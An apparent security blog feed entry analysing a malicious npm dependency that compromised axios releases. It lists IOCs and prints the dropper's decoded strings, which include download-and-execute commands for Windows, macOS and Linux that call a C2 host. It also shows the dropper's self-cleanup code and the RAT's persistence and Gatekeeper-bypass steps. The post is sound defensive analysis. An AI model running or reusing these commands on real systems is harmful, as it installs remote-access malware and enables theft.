<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://cc0ffee.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://cc0ffee.github.io/" rel="alternate" type="text/html" /><updated>2026-04-01T03:36:24+00:00</updated><id>https://cc0ffee.github.io/feed.xml</id><title type="html">My Blog</title><entry><title type="html">Supply Chain Attack: npm Package Axios Compromised Analysis</title><link href="https://cc0ffee.github.io/2026/03/31/axios-compromise.html" rel="alternate" type="text/html" title="Supply Chain Attack: npm Package Axios Compromised Analysis" /><published>2026-03-31T00:00:00+00:00</published><updated>2026-03-31T00:00:00+00:00</updated><id>https://cc0ffee.github.io/2026/03/31/axios-compromise</id><content type="html" xml:base="https://cc0ffee.github.io/2026/03/31/axios-compromise.html"><![CDATA[<h2 id="iocs">IOCs</h2>
<p><strong>File Hashes:</strong></p>
<ul>
  <li>setup.js:<code class="language-plaintext highlighter-rouge">e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09</code></li>
  <li>Windows (ps1):<code class="language-plaintext highlighter-rouge">617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101</code></li>
  <li>macOS:<code class="language-plaintext highlighter-rouge">92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</code></li>
  <li>Linux (Python):<code class="language-plaintext highlighter-rouge">fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf</code></li>
</ul>

<p><strong>Network:</strong></p>
<ul>
  <li>IP: <code class="language-plaintext highlighter-rouge">142.11.206[.]73</code></li>
  <li>Domain: <code class="language-plaintext highlighter-rouge">sfrclak[.]com</code></li>
  <li>C2 Endpoint: <code class="language-plaintext highlighter-rouge">hxxp://sfrclak[.]com:8000/6202033</code></li>
  <li>Beacons: <code class="language-plaintext highlighter-rouge">packages[.]npm[.]org/product0 (macOS), packages[.]npm[.]org/product1 (Windows), packages[.]npm[.]org/product2 (Linux)</code></li>
</ul>

<p><strong>NPM Packages:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">axios@1.14.1</code></li>
  <li><code class="language-plaintext highlighter-rouge">axios@0.30.4</code></li>
  <li><code class="language-plaintext highlighter-rouge">plain-crypto-js@4.2.1</code></li>
</ul>

<h2 id="background">Background</h2>
<p>Axios is a popular promise-based HTTP client for Javascript applications, with close to 100 million downloads per week. It is commonly used in environments such as Node.js and modern frontend frameworks to handle API communication.</p>

<p>On March 31st, 2026, a compromised maintainer account pushed two malicious versions (1.14.1, 0.30.4) to NPM. There, a hidden dependency <code class="language-plaintext highlighter-rouge">plain-crypto-js@4.2.1</code>  provides a dropper to deploy a Remote Access Trojan (RAT) across Windows, MacOS, and Linux platforms.</p>

<p>The versions were available for download for 2-3 hours until it was removed from NPM. The maintainer states that they had MFA on everything, and how it was bypassed is unknown as of now <em>(perhaps fatigue attacks, interception?)</em></p>
<h2 id="part-1-dropper">Part 1: Dropper</h2>
<p>The npm package <code class="language-plaintext highlighter-rouge">plain-crypto-js@4.2.1</code> is installed as a dependency, which was made hours before the attack. With <code class="language-plaintext highlighter-rouge">postinstall</code> it executes <code class="language-plaintext highlighter-rouge">node setup.js</code> that is a Dropper.</p>

<p>The code begins with two functions that deobfuscates the script.</p>

<p>The deobfuscation happens in two steps:</p>
<ol>
  <li>Reverse -&gt; replace _ with = -&gt; decode Base64</li>
  <li>each character xor’d against <code class="language-plaintext highlighter-rouge">333</code> and key byte from <code class="language-plaintext highlighter-rouge">OrDeR_7077</code>.</li>
</ol>

<p>All strings that are obfuscated are in the array <code class="language-plaintext highlighter-rouge">stq</code>, indexed in the code.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">stq</span> <span class="o">=</span> <span class="p">[</span> 
<span class="dl">"</span><span class="s2">child_process</span><span class="dl">"</span><span class="p">,</span> <span class="c1">// stq[0] </span>
<span class="dl">"</span><span class="s2">os</span><span class="dl">"</span><span class="p">,</span> <span class="c1">// stq[1] </span>
<span class="dl">"</span><span class="s2">fs</span><span class="dl">"</span><span class="p">,</span> <span class="c1">// stq[2] </span>
<span class="dl">"</span><span class="s2">http://sfrclak[.]com:8000/</span><span class="dl">"</span><span class="p">,</span> <span class="c1">// stq[3] </span>
<span class="dl">""</span><span class="p">,</span> <span class="c1">// stq[4] </span>
<span class="dl">"</span><span class="s2">win32</span><span class="dl">"</span><span class="p">,</span> <span class="c1">// stq[5] </span>
<span class="dl">"</span><span class="s2">darwin</span><span class="dl">"</span><span class="p">,</span> <span class="c1">// stq[6] </span>
<span class="dl">'</span><span class="se">\n</span><span class="s1"> Set objShell = CreateObject("WScript.Shell")</span><span class="se">\n</span><span class="s1"> objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" &gt; ""PS_PATH"" &amp; ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" &amp; del ""PS_PATH"" /f", 0, False</span><span class="se">\n</span><span class="s1"> </span><span class="dl">'</span><span class="p">,</span> <span class="c1">// stq[7] </span>
<span class="dl">'</span><span class="s1">cscript "LOCAL_PATH" //nologo &amp;&amp; del "LOCAL_PATH" /f</span><span class="dl">'</span><span class="p">,</span> <span class="c1">// stq[8] </span>
<span class="dl">'</span><span class="se">\n</span><span class="s1"> set {a, s, d} to {"", "SCR_LINK", "/Library/Caches/com.apple.act.mond"}</span><span class="se">\n</span><span class="s1"> try</span><span class="se">\n</span><span class="s1"> do shell script "curl -o " &amp; d &amp; a &amp; " -d packages.npm.org/product0" &amp; " -s " &amp; s &amp; " &amp;&amp; chmod 770 " &amp; d &amp; " &amp;&amp; /bin/zsh -c </span><span class="se">\\</span><span class="s1">"" &amp; d &amp; " " &amp; s &amp; " &amp;</span><span class="se">\\</span><span class="s1">"" &amp;&gt; /dev/null"</span><span class="se">\n</span><span class="s1"> end try</span><span class="se">\n</span><span class="s1"> do shell script "rm -rf LOCAL_PATH"</span><span class="dl">'</span><span class="p">,</span> <span class="c1">// stq[9] </span>
<span class="dl">'</span><span class="s1">nohup osascript "LOCAL_PATH" &gt; /dev/null 2&gt;&amp;1 &amp;</span><span class="dl">'</span><span class="p">,</span> <span class="c1">// stq[10] </span>
<span class="dl">""</span><span class="p">,</span> <span class="c1">// stq[11] </span>
<span class="dl">"</span><span class="s2">curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK &amp;&amp; nohup python3 /tmp/ld.py SCR_LINK &gt; /dev/null 2&gt;&amp;1 &amp;</span><span class="dl">"</span><span class="p">,</span> <span class="c1">// stq[12] </span>
<span class="dl">"</span><span class="s2">package.json</span><span class="dl">"</span><span class="p">,</span> <span class="c1">// stq[13] </span>
<span class="dl">"</span><span class="s2">package.md</span><span class="dl">"</span><span class="p">,</span> <span class="c1">// stq[14] </span>
<span class="dl">"</span><span class="s2">.exe</span><span class="dl">"</span><span class="p">,</span> <span class="c1">// stq[15] </span>
<span class="dl">"</span><span class="s2">.ps1</span><span class="dl">"</span><span class="p">,</span> <span class="c1">// stq[16] </span>
<span class="dl">"</span><span class="s2">.vbs</span><span class="dl">"</span><span class="p">,</span> <span class="c1">// stq[17] </span>
<span class="p">];</span>
</code></pre></div></div>

<p>The script resolves modules <code class="language-plaintext highlighter-rouge">fs</code>, <code class="language-plaintext highlighter-rouge">os</code>, and <code class="language-plaintext highlighter-rouge">child_process</code>. The script then fingerprints the machine, in particular <code class="language-plaintext highlighter-rouge">osplatform()</code> that is saved to a variable. Based on the platform it that does a conditional branch that reaches out to the C2 server <code class="language-plaintext highlighter-rouge">hxxp://sfrclak[.]com:8000/6202033</code> to download a second-stage payload for the respective platform.</p>

<p>For MacOS (<code class="language-plaintext highlighter-rouge">darwin</code>),</p>
<ol>
  <li>Writes an Applescript (<code class="language-plaintext highlighter-rouge">.applescript</code>) file to temp directory.</li>
  <li>curls C2 server with POST Body <code class="language-plaintext highlighter-rouge">packages.npm[.]org/product0</code> to download the MacOS payload to <code class="language-plaintext highlighter-rouge">/Library/Caches/com.apple.act.mond</code></li>
  <li>Sets permission <code class="language-plaintext highlighter-rouge">chmod 770</code> and executes via <code class="language-plaintext highlighter-rouge">/bin/zsh</code>.</li>
  <li>Runs script silently via <code class="language-plaintext highlighter-rouge">nohup osascript</code></li>
</ol>

<p>For Windows (<code class="language-plaintext highlighter-rouge">win32</code>),</p>
<ol>
  <li>Locates <code class="language-plaintext highlighter-rouge">powershell.exe</code> using <code class="language-plaintext highlighter-rouge">where powershell</code>.</li>
  <li>Copies it to <code class="language-plaintext highlighter-rouge">%PROGRAMDATA%\wt.exe</code>, imitating Windows Terminal (<code class="language-plaintext highlighter-rouge">wt</code>).</li>
  <li>Writes a VBScript (<code class="language-plaintext highlighter-rouge">.vbs</code>) file that uses <code class="language-plaintext highlighter-rouge">cmd.exe</code> to curl a PowerShell script (<code class="language-plaintext highlighter-rouge">.ps1</code>) from the C2 server with POST Body <code class="language-plaintext highlighter-rouge">packages.npm[.]org/product1</code>, and runs silent with <code class="language-plaintext highlighter-rouge">-w hidden -ep bypass</code>.</li>
  <li>Launches the VBScript with <code class="language-plaintext highlighter-rouge">cscript //nologo</code></li>
</ol>

<p>For Linux / Other,</p>
<ol>
  <li>curls from C2 server with POST Body <code class="language-plaintext highlighter-rouge">packages.npm.org/product2</code>,  directly downloading a python script to <code class="language-plaintext highlighter-rouge">/tmp/ld.py</code>.</li>
  <li>Runs <code class="language-plaintext highlighter-rouge">nohup python3</code> to silently execute the RAT.</li>
</ol>

<p>It is also worth noting that <code class="language-plaintext highlighter-rouge">packages.npm[.]org/productx</code> is a fake domain masquerading as npm to blend in with legitimate traffic, it is most likely resolved as something else on the C2 server.</p>

<p>The malicious dependency deletes itself, and changes the <code class="language-plaintext highlighter-rouge">package.json</code> file to hide its tracks.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">selfPath</span> <span class="o">=</span> <span class="nx">__filename</span><span class="p">;</span> 
<span class="nx">fs</span><span class="p">.</span><span class="nx">unlink</span><span class="p">(</span><span class="nx">selfPath</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{});</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">unlink</span><span class="p">(</span><span class="dl">"</span><span class="s2">package.json</span><span class="dl">"</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{});</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">rename</span><span class="p">(</span><span class="dl">"</span><span class="s2">package.md</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">package.json</span><span class="dl">"</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{});</span>
</code></pre></div></div>
<h2 id="part-2-payload-rat">Part 2: Payload (RAT)</h2>
<p>For the second stage, platform-specific RATs are downloaded and executed.</p>

<p>Across all of them, the RAT:</p>
<ul>
  <li>Generates a 16-char UID</li>
  <li>Gets information about the system: OS version, architecture, boot time, hostname, username, installation time, manufacturer/product name, and process list</li>
  <li>C2 Beacon in intervals of 60 seconds
    <ul>
      <li>Uses user-agent: <code class="language-plaintext highlighter-rouge">mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code></li>
    </ul>
  </li>
</ul>

<p>Each downloaded version run the exact same, with a few changes found below.</p>

<p><img src="/assets/images/main.png" alt="main beacon loop" /><br />
<em>Main beacon loop in Linux’s Python RAT</em></p>

<h3 id="platform-specific">Platform Specific</h3>

<h4 id="windows-powershell">Windows (Powershell)</h4>
<ul>
  <li>Persistence through creating <code class="language-plaintext highlighter-rouge">%PROGRAMDATA%\system.bat</code> with attribute <code class="language-plaintext highlighter-rouge">Hidden</code> that redownloads the RAT on login, and through adding a registry Run key <code class="language-plaintext highlighter-rouge">HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate</code> to the file.</li>
  <li>It enumerates <code class="language-plaintext highlighter-rouge">Documents</code>, <code class="language-plaintext highlighter-rouge">Desktop</code>, <code class="language-plaintext highlighter-rouge">OneDrive</code>, <code class="language-plaintext highlighter-rouge">AppData\Roaming</code> first.</li>
</ul>

<p><strong>C2 Commands:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">kill</code> - kills process</li>
  <li><code class="language-plaintext highlighter-rouge">peinject</code> - performs RCE in memory through .NET assembly injection</li>
  <li><code class="language-plaintext highlighter-rouge">runscript</code> - runs inline command or base64 encoded</li>
  <li><code class="language-plaintext highlighter-rouge">rundir</code> - enumerates directory metadata</li>
</ul>

<p><img src="/assets/images/persistence.png" alt="Persistence in ps1 file" /><br />
<em>Persistence commands in .ps1 file</em></p>

<h4 id="mac-applescript">Mac (AppleScript)</h4>
<ul>
  <li>It enumerates <code class="language-plaintext highlighter-rouge">/Applications</code>, <code class="language-plaintext highlighter-rouge">~/Library</code> and <code class="language-plaintext highlighter-rouge">~/Library/Application Support</code> first.</li>
</ul>

<p><strong>C2 Commands:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">kill</code> - kills RAT process</li>
  <li><code class="language-plaintext highlighter-rouge">peinject</code> - decodes base64 from C2 writes it to a hidden tmp file, runs  <code class="language-plaintext highlighter-rouge">codesign --force --deep --sign -</code> to bypass Gatekeeper, then executes</li>
  <li><code class="language-plaintext highlighter-rouge">runscript</code> - runs inline commands through <code class="language-plaintext highlighter-rouge">/bin/sh</code> or APpleScript files via <code class="language-plaintext highlighter-rouge">osascript</code></li>
  <li><code class="language-plaintext highlighter-rouge">rundir</code> - enumerates directory metadata</li>
</ul>

<h4 id="linux-python">Linux (Python)</h4>
<ul>
  <li>In terms of persistence, Linux doesn’t get any <em>(targeting ephemeral CI/CD environments where persistence isn’t needed?)</em></li>
  <li>It enumerates <code class="language-plaintext highlighter-rouge">~</code>, <code class="language-plaintext highlighter-rouge">~/.config</code>, <code class="language-plaintext highlighter-rouge">~/Documents</code>, and <code class="language-plaintext highlighter-rouge">~/Desktop</code> first.</li>
</ul>

<p><strong>C2 Commands:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">kill</code> - kills process</li>
  <li><code class="language-plaintext highlighter-rouge">peinject</code> - Writes to<code class="language-plaintext highlighter-rouge"> /tmp/{6_random_chars}</code>, <code class="language-plaintext highlighter-rouge">chmod 777</code>, then executes</li>
  <li><code class="language-plaintext highlighter-rouge">runscript</code> - runs inline command or decodes and executes base64 command</li>
  <li><code class="language-plaintext highlighter-rouge">rundir</code> - enumerates directory metadata</li>
</ul>

<p><img src="/assets/images/beacon_loop.png" alt="commands" /><br />
<em>C2 commands in Python</em></p>]]></content><author><name></name></author><summary type="html"><![CDATA[IOCs File Hashes: setup.js:e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 Windows (ps1):617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 macOS:92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a Linux (Python):fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf]]></summary></entry></feed>